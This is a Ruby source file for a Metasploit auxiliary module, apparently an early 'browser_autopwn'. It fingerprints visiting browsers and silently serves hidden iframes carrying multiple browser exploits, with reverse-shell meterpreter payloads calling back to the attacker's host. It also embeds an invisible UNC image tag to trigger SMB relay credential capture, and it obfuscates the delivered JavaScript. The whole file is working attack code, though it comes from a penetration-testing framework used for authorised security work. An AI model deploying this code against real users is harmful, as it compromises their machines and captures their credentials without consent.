608 lines
20 KiB
Ruby
608 lines
20 KiB
Ruby
##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'rex/exploitation/javascriptosdetect.rb'
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module Msf
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class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
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include Exploit::Remote::HttpServer::HTML
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include Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTTP Client Automatic Exploiter',
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'Version' => '$Revision: $',
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'Description' => %q{
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This module uses a combination of client-side and server-side techniques to
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fingerprint HTTP clients and then automatically exploit them.
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},
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'Author' =>
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[
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'egypt <egypt[at]nmt.edu>', # initial concept, integration and extension of Jerome's os_detect.js
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'Jerome Athias' # advanced Windows OS detection in javascript
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],
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'License' => BSD_LICENSE,
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'Actions' =>
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[
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[ 'WebServer' ]
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],
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'PassiveActions' =>
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[
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'WebServer'
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],
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'DefaultAction' => 'WebServer'))
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register_options([
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OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']),
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OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444])
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], self.class)
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@exploits = Hash.new
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end
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def init_exploit(name, targ = 0)
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targ ||= 0
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case name
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when %r{exploit/windows}
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payload='windows/meterpreter/reverse_tcp'
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else
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payload='generic/shell_reverse_tcp'
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end
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@exploits[name] = framework.modules.create(name)
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@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
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# for testing, set the exploit uri to the name of the exploit so it's
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# easy to tell what is happening from the browser
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@exploits[name].datastore['URIPATH'] = name
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@exploits[name].datastore['LPORT'] = @lport
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@exploits[name].datastore['LHOST'] = @lhost
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@exploits[name].exploit_simple(
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'Target' => targ,
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'Payload' => payload,
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'RunAsJob' => true)
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@lport += 1
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end
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def setup()
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super
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@lport = datastore['LPORT'] || 4444
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@lhost = datastore['LHOST']
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@lport = @lport.to_i
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print_status("Starting exploit modules on host #{@lhost}...")
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##
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# Start all the exploit modules
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##
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# TODO: add an Automatic target to all of the Firefox exploits
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# Firefox < 1.0.5
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# requires javascript
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init_exploit('exploit/multi/browser/mozilla_compareto')
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# Firefox < 1.5.0.5
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# requires java
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# requires javascript
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init_exploit('exploit/multi/browser/mozilla_navigatorjava')
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# Firefox < 1.5.0.1
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# For now just use the default target of Mac.
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# requires javascript
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init_exploit('exploit/multi/browser/firefox_queryinterface')
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# works on iPhone
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# does not require javascript
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#init_exploit('exploit/osx/armle/safari_libtiff')
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#init_exploit('exploit/osx/browser/software_update')
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#init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
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# does not require javascript
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init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
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# requires javascript
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init_exploit('exploit/windows/browser/novelliprint_getdriversettings')
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# Works on default IE 6
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# Doesn't work on Windows 2000 IE 5.0
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# I'm pretty sure keyframe works on everything this works on, but since
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# this doesn't need javascript, try it anyway.
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# does not require javascript
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init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
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# requires javascript
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init_exploit('exploit/windows/browser/ie_createobject')
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# I'm pretty sure keyframe works on everything this works on and more,
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# so for now leave it out.
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# requires javascript
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#init_exploit('exploit/windows/browser/ms06_055_vml_method')
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# Works on default IE 5 and 6
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# requires javascript
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# ActiveXObject('DirectAnimation.PathControl')
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# classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6
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init_exploit('exploit/windows/browser/ms06_067_keyframe')
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# only works on IE with XML Core Services
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# requires javascript
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# classid 88d969c5-f192-11d4-a65f-0040963251e5
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init_exploit('exploit/windows/browser/ms06_071_xml_core')
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#init_exploit('exploit/windows/browser/winamp_playlist_unc')
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#
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# Requires UNC path which only seems to work on IE in my tests
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#
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# Launch a smb_relay module on port 139
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smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
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smbr_mod.datastore['LHOST'] = @lhost
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smbr_mod.datastore['LPORT'] = (@lport += 1)
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smbr_mod.datastore['SRVPORT'] = 139
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smbr_mod.exploit_simple(
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'Target' => 0,
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'Payload' => 'windows/meterpreter/reverse_tcp',
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'RunAsJob' => true)
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# Launch a second one with port 445
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smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay')
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smbr_mod.datastore['LHOST'] = @lhost
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smbr_mod.datastore['LPORT'] = (@lport += 1)
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smbr_mod.datastore['SRVPORT'] = 445
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smbr_mod.exploit_simple(
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'LocalInput' => self.user_input,
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'LocalOutput' => self.user_output,
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'Target' => 0,
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'Payload' => 'windows/meterpreter/reverse_tcp',
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'RunAsJob' => true)
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end
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def on_request_uri(cli, request)
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print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
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# Create a cached mapping between IP and detected target
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@targetcache ||= {}
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@targetcache[cli.peerhost] ||= {}
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@targetcache[cli.peerhost][:update] = Time.now.to_i
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# Clean the cache
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rmq = []
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@targetcache.each_key do |addr|
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if (Time.now.to_i > @targetcache[addr][:update]+60)
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rmq.push addr
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end
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end
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rmq.each {|addr| @targetcache.delete(addr) }
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case request.uri
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when %r{^#{datastore['URIPATH']}.*sessid=}:
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record_detection(cli, request)
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send_not_found(cli)
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when %r{^#{datastore['URIPATH']}\?}:
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when %r{^#{datastore['URIPATH']}$}:
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#
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# This is the request for exploits. At this point we should at
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# least know whether javascript is enabled; if it is, we'll
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# have browser name and version for IE and Firefox as well as
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# OS version and Service Pack for Windows. If our javascript
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# detection failed to report back, try to get the same
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# information from the User-Agent string which is less reliable
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# because it may have been spoofed.
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#
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record_detection(cli, request)
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print_status("Responding with exploits")
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response = build_sploit_response(cli, request)
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response['Expires'] = '0'
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response['Cache-Control'] = 'must-revalidate'
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cli.send_response(response)
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else
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print_error("I don't know how to handle this request #{request.uri}, sending 404")
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send_not_found(cli)
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return false
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end
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end
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def run
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exploit()
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end
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def build_sploit_response(cli, request)
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if (!@targetcache[cli.peerhost])
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record_detection(cli, request)
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end
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response = create_response()
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# TODO: instead of writing all of the iframes at once,
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# consider having a javascript timeout function that writes
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# each exploit's iframe so they don't step on each other.
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# I'm not sure this is really an issue since IE seems to
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# just load the next iframe when the first didn't crash it.
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objects = {
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'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
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'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
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'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
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'{BD96C556-65A3-11D0-983A-00C04FC29E36}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{BD96C556-65A3-11D0-983A-00C04FC29E30}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{6414512B-B978-451D-A0D8-FCFDF33E833C}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{06723E09-F4C2-43c8-8358-09FCD1DB0766}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{639F725F-1B2D-4831-A9FD-874847682010}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{BA018599-1DB3-44f9-83B4-461454C84BF8}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{E8CCCDDF-CA28-496b-B050-6C07C962476B}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{0006F033-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{0006F03A-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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}
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hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join.chop
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js = <<-ENDJS
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#{js_os_detect}
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#{js_base64}
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// Hash implementation stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
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function Hash() {
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this.length = 0;
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this.items = new Array();
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for (var current_item = 0; current_item < arguments.length; current_item += 2) {
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if (typeof(arguments[current_item + 1]) != 'undefined') {
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this.items[arguments[current_item]] = arguments[current_item + 1];
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this.length++;
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}
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}
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}
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function send_detection_report(detected_version) {
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try { xml = new XMLHttpRequest(); }
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catch(e) {
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try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
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catch(e) {
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xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
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}
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}
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if (! xml) {
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return(0);
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}
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var url = "asdf".replace("asdf", "");
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url += detected_version.os_name + "asdf";
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url += detected_version.os_flavor + "asdf";
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url += detected_version.os_sp + "asdf";
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url += detected_version.os_lang + "asdf";
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url += detected_version.arch + "asdf";
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url += detected_version.browser_name + "asdf";
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url += detected_version.browser_version;
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url = url.replace(/asdf/g, ":");
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url = Base64.encode(url);
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document.write(url + "<br>");
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xml.open("GET", document.location + "?sessid=" + url, false);
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xml.send(null);
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}
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function BodyOnLoad() {
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var sploit_frame = '';
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var body_elem = document.getElementById('body_id');
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var detected_version = getVersion();
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send_detection_report(detected_version);
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if ("#{HttpClients::IE}" == detected_version.browser_name) {
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//document.write("This is IE<br />");
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// object_list contains key-value pairs like
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// {classid} => /srvpath/to/exploit/for/classid
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// and
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// ActiveXname => /srvpath/to/exploit/for/ActiveXname
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var object_list = new Hash(#{hash_declaration});
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var vuln_obj;
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var written_frames = new Array();
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// iterate through our list of exploits
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//document.write("I have " + object_list.length + " objects to test <br />");
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for (var current_item in object_list.items) {
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//document.write("Testing for object " + current_item + " ... ");
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// Don't write the same iframe more than once. This is
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// only an issue with ie_createobject which uses a ton of
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// different classids to perform the same exploit.
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// Assumes that no url will be a substring of another url.
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if (-1 != written_frames.toString().indexOf(object_list.items[current_item])) {
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//document.write("Already wrote an iframe for " + object_list.items[current_item] +"<br>");
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continue;
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}
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vuln_obj = '';
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if (current_item.substring(0,1) == '{') {
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//document.write("which is a clasid <br />");
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// classids are stored surrounded in braces for an easy way to tell
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// them from ActiveX object names, so if it has braces, strip them
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// out and create an object element with that classid
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var vuln_obj = document.createElement("object");
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vuln_obj.setAttribute("classid", "clsid:" + current_item.substring( 1, current_item.length - 1 ) ) ;
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} else {
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//document.write("which is an AXO name <br />");
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// otherwise, try to create an AXO with that name
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try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
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}
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// This doesn't bloody work. vuln_obj is always something
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// that evaluates to true but there doesn't seem to be any
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// way of determining if it is actually an ActiveX object.
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// Since we can't tell if it will work, we end up just sending
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// all of the iframes; some of them don't work, some of them
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// do and we get multiple shells. Junior Varsity.
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if (vuln_obj) {
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document.write("It exists, making evil iframe <br />");
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sploit_frame += '#{build_iframe("' + object_list.items[current_item] + '")}';
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// why the hell is there no array.push() in javascript?
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written_frames[written_frames.length] = object_list.items[current_item];
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} else {
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//document.write("It does NOT exist, skipping. <br />");
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}
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} // for each exploit
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} // if IE
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else {
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//document.write("this is NOT MSIE<br />");
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if (window.navigator.javaEnabled && window.navigator.javaEnabled()) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_navigatorjava'].get_resource)}';
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}
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if (window.InstallVersion) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_compareto'].get_resource)}';
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}
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// eventually this exploit will have an auto target and
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// this check won't be necessary
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if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) {
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if (location.QueryInterface) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/firefox_queryinterface'].get_resource)}';
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}
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}
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}
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if (0 < sploit_frame.length) {
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//document.write("Conditions optimal, writing evil iframe(s) <br />");
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document.write(sploit_frame);
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}
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} // function BodyOnLoad
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window.onload = BodyOnLoad
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ENDJS
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opts = {
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'Symbols' => {
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'Variables' => [
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'current_item', 'items',
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'body_elem', 'body_id',
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'object_list', 'vuln_obj',
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'obj_elem', 'sploit_frame',
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'written_frames',
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'detected_version'
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],
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'Methods' => [
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'Hash', 'BodyOnLoad',
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'send_detection_report', 'xml'
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]
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},
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'Strings' => true
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.update_opts(js_os_detect.opts)
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js.update_opts(js_base64.opts)
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#js.obfuscate({'Strings'=>true})
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# Since ms03_020 works without javascript and we can guarantee with
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# conditional comments that it won't eat resources in non-IE browsers,
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# go ahead and send it with all responses in case our detection failed.
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#
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# commented this out so i can test other exploits
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body = <<-ENDHTML
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<body id="#{js.sym('body_id')}">
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<!--
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<!--[if lt IE 7]>
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#{build_iframe(@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource)}
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<![endif]-->
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ENDHTML
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response.body = ' <html> <head> <title> Loading </title> '
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response.body << ' <script language="javascript" type="text/javascript">'
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response.body << "<!--\n" + js + ' //-->'
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response.body << ' </script> </head> ' + body
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# At this point in time all we have is the user agent detection.
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# Consider moving the non-javascript exploits into the main body
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# regardless of detected OS in case the user agent was spoofed.
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case (get_target_os(cli))
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when OperatingSystems::WINDOWS
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# add the img tag for smb_relay
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response.body << %Q{
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<img src="\\\\#{@lhost}\\public\\#{Rex::Text.rand_text_alpha(15)}.jpg" style="visibility:hidden" height="0" width="0" border="0" />
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#{build_iframe(@exploits['exploit/windows/browser/apple_quicktime_rtsp'].get_resource)}
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}
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when OperatingSystems::MAC_OSX
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if ('armle' == get_target_arch(cli))
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# Then it's an iPhone
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response.body << build_iframe(@exploits['exploit/osx/armle/safari_libtiff'].get_resource)
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end
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end
|
|
response.body << "</body></html>"
|
|
|
|
return response
|
|
end
|
|
|
|
# consider abstracting this out to a method (probably
|
|
# with a different name) of Auxiliary::Report or
|
|
# Exploit::Remote::HttpServer
|
|
def record_detection(cli, request)
|
|
os_name = nil
|
|
os_flavor = nil
|
|
os_sp = nil
|
|
os_lang = nil
|
|
arch = nil
|
|
ua_name = nil
|
|
ua_vers = nil
|
|
|
|
data_offset = request.uri.index('sessid=')
|
|
if (data_offset.nil? or -1 == data_offset)
|
|
print_status("Recording detection from User-Agent")
|
|
# then we didn't get a report back from our javascript
|
|
# detection; make a best guess effort from information
|
|
# in the user agent string. The OS detection should be
|
|
# roughly the same as the javascript version because it
|
|
# does most everything with navigator.userAgent
|
|
|
|
ua = request['User-Agent']
|
|
# always check for IE last because everybody tries to
|
|
# look like IE
|
|
case (ua)
|
|
when /Version\/(\d+\.\d+\.\d+).*Safari/
|
|
ua_name = HttpClients::SAFARI
|
|
ua_vers = $1
|
|
when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
|
|
ua_name = HttpClients::FF
|
|
ua_vers = $1
|
|
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
|
|
ua_name = HttpClients::IE
|
|
ua_vers = $1
|
|
end
|
|
case (ua)
|
|
when /Windows/:
|
|
os_name = OperatingSystems::WINDOWS
|
|
arch = ARCH_X86
|
|
when /Linux/:
|
|
os_name = OperatingSystems::LINUX
|
|
when /iPhone/
|
|
os_name = OperatingSystems::MAC_OSX
|
|
arch = 'armle'
|
|
when /Mac OS X/
|
|
os_name = OperatingSystems::MAC_OSX
|
|
end
|
|
case (ua)
|
|
when /Windows 95/:
|
|
os_flavor = '95'
|
|
when /Windows 98/:
|
|
os_flavor = '98'
|
|
when /Windows NT 4/:
|
|
os_flavor = 'NT'
|
|
when /Windows NT 5.0/:
|
|
os_flavor = '2000'
|
|
when /Windows NT 5.1/:
|
|
os_flavor = 'XP'
|
|
when /Windows NT 5.2/:
|
|
os_flavor = '2003'
|
|
when /Windows NT 6.0/:
|
|
os_flavor = 'Vista'
|
|
when /Gentoo/:
|
|
os_flavor = 'Gentoo'
|
|
when /Debian/:
|
|
os_flavor = 'Debian'
|
|
when /Ubuntu/:
|
|
os_flavor = 'Ubuntu'
|
|
end
|
|
case (ua)
|
|
when /PPC/
|
|
arch = ARCH_PPC
|
|
when /i.86/
|
|
arch = ARCH_X86
|
|
end
|
|
|
|
print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name} #{os_flavor}")
|
|
else
|
|
print_status("Recording detection from JavaScript")
|
|
data_offset += 'sessid='.length
|
|
detected_version = request.uri[data_offset, request.uri.length]
|
|
if (0 < detected_version.length)
|
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
|
print_status("Report: #{detected_version}")
|
|
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_vers) = detected_version.split(':')
|
|
end
|
|
end
|
|
arch ||= ARCH_X86
|
|
|
|
@targetcache[cli.peerhost][:os_name] = os_name
|
|
@targetcache[cli.peerhost][:os_flavor] = os_flavor
|
|
@targetcache[cli.peerhost][:os_sp] = os_sp
|
|
@targetcache[cli.peerhost][:os_lang] = os_lang
|
|
@targetcache[cli.peerhost][:arch] = arch
|
|
@targetcache[cli.peerhost][:ua_name] = ua_name
|
|
@targetcache[cli.peerhost][:ua_vers] = ua_vers
|
|
|
|
report_host(
|
|
:host => cli.peerhost,
|
|
:os_name => os_name,
|
|
:os_flavor => os_flavor,
|
|
:os_lang => os_lang,
|
|
:os_sp => os_sp,
|
|
:arch => arch
|
|
)
|
|
report_note(
|
|
:host => cli.peerhost,
|
|
:type => 'http_request',
|
|
:data => "UA:#{ua_name} UA_VER:#{ua_vers}"
|
|
)
|
|
|
|
end
|
|
|
|
# This or something like it should probably be added upstream in Msf::Exploit::Remote
|
|
def get_target_os(cli)
|
|
if framework.db.active
|
|
host = framework.db.get_host(nil, cli.peerhost)
|
|
res = host.os_name
|
|
elsif @targetcache[cli.peerhost][:os_name]
|
|
res = @targetcache[cli.peerhost][:os_name]
|
|
else
|
|
res = OperatingSystems::UNKNOWN
|
|
end
|
|
return res
|
|
end
|
|
|
|
# This or something like it should probably be added upstream in Msf::Exploit::Remote
|
|
def get_target_arch(cli)
|
|
if framework.db.active
|
|
host = framework.db.get_host(nil, cli.peerhost)
|
|
res = host.arch
|
|
elsif @targetcache[cli.peerhost][:arch]
|
|
res = @targetcache[cli.peerhost][:arch]
|
|
else
|
|
res = ARCH_X86
|
|
end
|
|
return res
|
|
end
|
|
|
|
def build_iframe(resource)
|
|
ret = ''
|
|
ret << "<p>#{resource}</p>"
|
|
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
|
return ret
|
|
end
|
|
end
|
|
end
|
|
|